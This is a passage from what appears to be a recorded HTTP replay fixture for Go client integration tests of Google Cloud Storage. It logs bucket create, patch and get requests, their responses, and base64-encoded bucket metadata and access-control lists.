W4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MjksIm1lc3NhZ2UiOiJUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuIn19" - } - }, - { - "ID": "515ecb8616d48a7f", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "103" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjYwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "571" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:55 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqF93J_Bpwg-_yefVpKWteSyWBSx9FqNm8MP5eZKqVfvDWpSF6EPZsISss7hNOkKMM5OuV8stlJIW2UAkzsSgkYOHx5fCwOwylbtqAyb8OlYJCHz6Q" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjU1LjIwNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo1NS4yMDRaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiNjAiLCJlZmZlY3RpdmVUaW1lIjoiMjAxOS0wNS0wMlQyMjoyNTo1NS4yMDRaIn0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "771e55d617425f26", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0014?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "25" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJyZXRlbnRpb25Qb2xpY3kiOm51bGx9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:55 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up6Slob_akPo2UWNmzCe-LD4cb-9DVTq_FPlNxA7mKVF6fBFks6gFnZ83BSajEU2qD8g14Y-pX20kbfoKf8XGR9pIW2xXH_oHCxsjspHZ2ARGePTMA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjU1LjIwNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo1NS44MjVaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTQvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTQiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTQvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTQiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTQvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBST0ifQ==" - } - }, - { - "ID": "9526aab2be8b214c", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0014?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:56 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:56 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UopNhdzHbHv4sXyk0r1owz7bkkPQwYIGbb3gRingbq7vgESKltWLIr9PDDIUNREfumEvZDfpxMineWYNzZ0qdOaI1QNYqXjnuxO6sCUDjBYEhr76uk" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjU1LjIwNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo1NS44MjVaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTQvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTQiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTQvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTQiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTQvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBST0ifQ==" - } - }, - { - "ID": "0aabff8aa1cc1e9c", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "103" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE1IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjYwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "571" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:56 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpTj6zYv1NMHDI_ktA1d-p7HKq4YnJMxxI9nXubPfCMyIspOgya8HYibmvOMFwLtCPagnzRHe0HbmTCSqJpYMay0xYZstGSE_IUWRqI9lUhzq0Iqe4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE1IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjU2LjM3NFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo1Ni4zNzRaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiNjAiLCJlZmZlY3RpdmVUaW1lIjoiMjAxOS0wNS0wMlQyMjoyNTo1Ni4zNzRaIn0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "05147b5b5fdd7882", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0015?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2517" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:56 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uoshhz3RuOTlNgZ3gOLis_dSFBsqr7khyJCdWUD8BGk0_j-AHxA5etttVHuHTrUcDksF4LdtfJLhlVrAJe9PrGiYZ-Wy57j6tb7L6vc0qHoTvolIRg" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE1IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjU2LjM3NFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo1Ni4zNzRaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTUvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE1L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE1L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTUvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlY